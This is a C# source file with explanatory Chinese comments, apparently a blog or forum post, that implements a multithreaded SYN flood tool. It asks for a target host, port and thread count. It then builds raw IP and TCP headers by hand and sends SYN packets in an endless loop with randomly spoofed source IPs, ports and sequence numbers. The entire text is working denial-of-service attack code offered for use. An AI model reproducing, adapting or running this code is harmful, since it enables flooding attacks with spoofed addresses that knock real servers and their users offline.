-
//在工程屬性中設置"允許不安全代碼"為true
-
?using System;
-
using System.Net;
-
using System.Net.Sockets;
-
using System.Threading;
-
//需要的命名空間不用解釋了吧
-
namespace syn
-
{
-
public struct ipHeader
-
{
-
public byte ip_verlen; //4位首部長度+4位IP版本號
-
public byte ip_tos; //8位服務類型TOS
-
public ushort ip_totallength; //16位數據包總長度(字節)
-
public ushort ip_id; //16位標識
-
public ushort ip_offset; //3位標志位
-
public byte ip_ttl; //8位生存時間 TTL
-
public byte ip_protocol; //8位協議(TCP, UDP, ICMP, Etc.)
-
public ushort ip_checksum; //16位IP首部校驗和
-
public uint ip_srcaddr; //32位源IP地址
-
public uint ip_destaddr; //32位目的IP地址
-
}
-
public struct psdHeader
-
{
-
public uint saddr; //源地址
-
public uint daddr; //目的地址
-
public byte mbz;
-
public byte ptcl; //協議類型
-
public ushort tcpl; //TCP長度
-
}
-
public struct tcpHeader
-
{
-
public ushort th_sport; //16位源端口
-
public ushort th_dport; //16位目的端口
-
public int th_seq; //32位序列號
-
public uint th_ack; //32位確認號
-
public byte th_lenres; //4位首部長度/6位保留字
-
public byte th_flag; //6位標志位
-
public ushort th_win; //16位窗口大小
-
public ushort th_sum; //16位校驗和
-
public ushort th_urp; //16位緊急數據偏移量
-
}
-
//這3個是ip首部tcp偽首部tcp首部的定義。
-
public class syn
-
{
-
private uint ip;
-
private ushort port;
-
private EndPoint ep;
-
private Random rand;
-
private Socket sock;
-
private ipHeader iph;
-
private psdHeader psh;
-
private tcpHeader tch;
-
public UInt16 checksum(UInt16[] buffer, int size)
-
{
-
Int32 cksum = 0;
-
int counter;
-
counter = 0;
-
?
-
while (size > 0)
-
{
-
UInt16 val = buffer[counter];
-
?
-
cksum += Convert.ToInt32(buffer[counter]);
-
counter += 1;
-
size -= 1;
-
}
-
?
-
cksum = (cksum >> 16) + (cksum & 0xffff);
-
cksum += (cksum >> 16);
-
return (UInt16)(~cksum);
-
}
-
//這個使用來計算校驗碼的我照抄c#實現ping那文章的方法,反正ip協議計算校驗碼方法都一樣
-
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
-
{
-
ip = _ip;
-
port = _port;
-
ep = _ep;
-
rand = _rand;
-
ipHeader iph = new ipHeader();
-
psh = new psdHeader();
-
tch = new tcpHeader();
-
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
-
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
-
//這2個挺重要,必須這樣才可以自己提供ip頭
-
}
-
//傳參數的多線程需要用到代構造函數的對象。
-
static void Main(string[] args)
-
{
-
Console.WriteLine("1、輸入攻擊ip或域名");
-
try
-
{
-
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
-
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//這是要攻擊的ip並轉為網絡字節序
-
Console.WriteLine("2、輸入攻擊端口");
-
ushort port = ushort.Parse(Console.ReadLine());
-
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
-
byte[] bt = BitConverter.GetBytes(port);
-
Array.Reverse(bt);
-
port = BitConverter.ToUInt16(bt, 0);
-
//要攻擊的端口也得轉為網絡字節序,必須是16位0-65535,如果用hosttonetworkorder就轉成32位的了,無奈這樣
-
Console.WriteLine("3、輸入攻擊線程,最多50個");
-
int xiancheng = Int32.Parse(Console.ReadLine());
-
if (xiancheng < 1 || xiancheng > 50)
-
{
-
Console.WriteLine("必須在1到50之間");
-
return;
-
}
-
Random rand = new Random();
-
Thread[] t = new Thread[xiancheng];
-
syn[] sy = new syn[xiancheng];
-
for (int i = 0; i < xiancheng; i++)
-
{
-
sy[i] = new syn(ip, port, ep, rand);
-
t[i] = new Thread(new ThreadStart(sy[i].synFS));
-
t[i].Start();
-
}
-
//一個線程對應一個對象,不知多個線程對應同一個對象行不行,請指點。基礎不行啊
-
}
-
catch
-
{
-
Console.WriteLine("有錯誤,請檢查是不是連在網上,或者輸入是否都正確");
-
return;
-
}
-
?
-
?
-
}
-
unsafe public void synFS()
-
{
-
iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));
-
//ipv4,20字節ip頭,這個固定就是69
-
iph.ip_tos = 0;
-
//這個0就行了
-
iph.ip_totallength = 0x2800;
-
//這個是ip頭+tcp頭總長,40是最小長度,不帶tcp option,應該是0028但是還是網絡字節序所以倒過來成了2800
-
iph.ip_id = 0x9B18;
-
//這個我是攔截ie發送。直接添上來了
-
iph.ip_offset = 0x40;
-
//這個也是攔截ie的
-
iph.ip_ttl = 64;
-
//也是攔截ie的,也可以是128什么的。
-
iph.ip_protocol = 6;
-
//6就是tcp協議
-
iph.ip_checksum = UInt16.Parse("0");
-
//沒計算之前都寫0
-
iph.ip_destaddr = ip;
-
//ip頭的目標地址就是要攻擊的地址,上面傳過來的。
-
psh.daddr = iph.ip_destaddr;
-
//偽tcp首部用於校驗的,上面是目的地址,和ip的那個一樣。
-
psh.mbz = 0;
-
//這個據說0就行
-
psh.ptcl = 6;
-
//6是tcp協議
-
psh.tcpl = 0x1400;
-
//tcp首部的大小,20字節,應該是0014,還是字節序原因成了1400
-
tch.th_dport = port;
-
//攻擊端口號,上面傳過來的
-
tch.th_ack = 0;
-
//第一次發送所以沒有服務器返回的序列號,為0
-
tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
-
//tcp長度
-
tch.th_flag = 2;
-
//2就是syn
-
tch.th_win = ushort.Parse("16614");
-
//攔截ie的
-
tch.th_sum = UInt16.Parse("0");
-
//沒計算之前都為0
-
tch.th_urp = UInt16.Parse("0");
-
//這個連ip都是0,新的攻擊方法有改這個值的
-
while (true)
-
{
-
iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255)).Address);
-
psh.saddr = iph.ip_srcaddr;
-
ushort duankou = Convert.ToUInt16(rand.Next(1, 65535));
-
byte[] bt = BitConverter.GetBytes(duankou);
-
Array.Reverse(bt);
-
tch.th_sport = BitConverter.ToUInt16(bt, 0);
-
tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
-
//上面用隨機種子隨機產生源ip源端口和tcp序列號並轉為網絡字節序
-
?
-
iph.ip_checksum = 0;
-
tch.th_sum = 0;
-
//因為循環中,所以每次必須把這2個已有數的清0才可計算
-
byte[] psh_buf = new byte[sizeof(psdHeader)];
-
Int32 index = 0;
-
index = pshto(psh, psh_buf, sizeof(psdHeader));
-
if (index == -1)
-
{
-
Console.WriteLine("構造tcp偽首部錯誤");
-
return;
-
}
-
index = 0;
-
byte[] tch_buf = new byte[sizeof(tcpHeader)];
-
index = tchto(tch, tch_buf, sizeof(tcpHeader));
-
if (index == -1)
-
{
-
Console.WriteLine("構造tcp首部錯誤1");
-
return;
-
}
-
index = 0;
-
byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
-
Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
-
index += psh_buf.Length;
-
Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
-
index += tch_buf.Length;
-
tch.th_sum = chec(tcphe, index);
-
index = 0;
-
index = tchto(tch, tch_buf, sizeof(tcpHeader));
-
if (index == -1)
-
{
-
Console.WriteLine("構造tcp首部錯誤2");
-
return;
-
}
-
index = 0;
-
byte[] ip_buf = new byte[sizeof(ipHeader)];
-
index = ipto(iph, ip_buf, sizeof(ipHeader));
-
if (index == -1)
-
{
-
Console.WriteLine("構造ip首部錯誤1");
-
return;
-
}
-
index = 0;
-
byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
-
Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
-
index += ip_buf.Length;
-
Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
-
index += tch_buf.Length;
-
iph.ip_checksum = chec(iptcp, index);
-
index = 0;
-
index = ipto(iph, ip_buf, sizeof(tcpHeader));
-
if (index == -1)
-
{
-
Console.WriteLine("構造ip首部錯誤2");
-
return;
-
}
-
index = 0;
-
Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
-
index += ip_buf.Length;
-
Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
-
index += tch_buf.Length;
-
if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
-
{
-
Console.WriteLine("構造iptcp報文錯誤");
-
return;
-
}
-
//上面這一大堆東西就是計算校驗和的方法了,方法是
-
//1、建立一個字節數組,前面放tcp偽首部后面放tcp首部,然后計算,確定最終tcp部分的校驗和
-
//2、把確定了校驗和地tcp首部重新生成字節數組,這是就不加tcp偽首部了,所以工20字節
-
//3、建40字節字節數組,前面放ip首部,后面放tcp首部,校驗,確定最終ip部分校驗和
-
//4、最后把確定了ip校驗和的ip部分和tcp部分先后放入40字節的字節數組中,就是要發送的buffer[]了,就是這么麻煩
-
try
-
{
-
?
-
sock.SendTo(iptcp, ep);
-
//構造發送字節數組總是麻煩,發送就簡單了,socket.sendto就可以了
-
?
-
}
-
catch
-
{
-
Console.WriteLine("發送錯誤");
-
return;
-
}
-
?
-
?
-
}
-
?
-
}
-
public UInt16 chec(byte[] buffer, int size)
-
{
-
Double double_length = Convert.ToDouble(size);
-
Double dtemp = Math.Ceiling(double_length / 2);
-
int cksum_buffer_length = Convert.ToInt32(dtemp);
-
UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
-
int icmp_header_buffer_index = 0;
-
for (int i = 0; i < cksum_buffer_length; i++)
-
{
-
cksum_buffer[i] =
-
BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
-
icmp_header_buffer_index += 2;
-
}
-
UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
-
return u_cksum;
-
}
-
//這個是計算校驗,把那些類型不一樣的全轉為16位字節數組用的
-
public Int32 ipto(ipHeader iph, byte[] Buffer, int size)
-
{
-
Int32 rtn = 0;
-
int index = 0;
-
byte[] b_verlen = new byte[1];
-
b_verlen[0] = iph.ip_verlen;
-
byte[] b_tos = new byte[1];
-
b_tos[0] = iph.ip_tos;
-
byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
-
byte[] b_id = BitConverter.GetBytes(iph.ip_id);
-
byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
-
byte[] b_ttl = new byte[1];
-
b_ttl[0] = iph.ip_ttl;
-
byte[] b_protol = new byte[1];
-
b_protol[0] = iph.ip_protocol;
-
byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
-
byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
-
byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
-
Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
-
index += b_verlen.Length;
-
Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
-
index += b_tos.Length;
-
Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
-
index += b_totallen.Length;
-
Array.Copy(b_id, 0, Buffer, index, b_id.Length);
-
index += b_id.Length;
-
Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
-
index += b_offset.Length;
-
Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
-
index += b_ttl.Length;
-
Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
-
index += b_protol.Length;
-
Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
-
index += b_checksum.Length;
-
Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
-
index += b_srcaddr.Length;
-
Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
-
index += b_destaddr.Length;
-
if (index != size/* sizeof(IcmpPacket) */)
-
{
-
rtn = -1;
-
return rtn;
-
}
-
?
-
rtn = index;
-
return rtn;
-
?
-
}
-
//這個是把ip部分轉為字節數組用的
-
public Int32 pshto(psdHeader psh, byte[] buffer, int size)
-
{
-
Int32 rtn;
-
int index = 0;
-
byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
-
byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
-
byte[] b_psh_mbz = new byte[1];
-
b_psh_mbz[0] = psh.mbz;
-
byte[] b_psh_ptcl = new byte[1];
-
b_psh_ptcl[0] = psh.ptcl;
-
byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
-
Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
-
index += b_psh_saddr.Length;
-
Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
-
index += b_psh_daddr.Length;
-
Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
-
index += b_psh_mbz.Length;
-
Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
-
index += b_psh_ptcl.Length;
-
Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
-
index += b_psh_tcpl.Length;
-
if (index != size)
-
{
-
rtn = -1;
-
return rtn;
-
}
-
else
-
{
-
rtn = index;
-
return rtn;
-
}
-
?
-
}
-
//這個是把tcp偽首部轉為字節數組用的
-
public Int32 tchto(tcpHeader tch, byte[] buffer, int size)
-
{
-
Int32 rtn;
-
int index = 0;
-
byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
-
byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
-
byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
-
byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
-
byte[] b_tch_lenres = new byte[1];
-
b_tch_lenres[0] = tch.th_lenres;
-
byte[] b_tch_flag = new byte[1];
-
b_tch_flag[0] = tch.th_flag;
-
byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
-
byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
-
byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
-
Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
-
index += b_tch_sport.Length;
-
Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
-
index += b_tch_dport.Length;
-
Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
-
index += b_tch_seq.Length;
-
Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
-
index += b_tch_ack.Length;
-
Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
-
index += b_tch_lenres.Length;
-
Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
-
index += b_tch_flag.Length;
-
Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
-
index += b_tch_win.Length;
-
Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
-
index += b_tch_sum.Length;
-
Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
-
index += b_tch_urp.Length;
-
if (index != size)
-
{
-
rtn = -1;
-
return rtn;
-
}
-
else
-
{
-
rtn = index;
-
return rtn;
-
}
-
}
-
//這個是把tcp部分轉為字節數組用的,因為這個要用到2次就不把這個和偽首部放一塊了。
-
}
-
}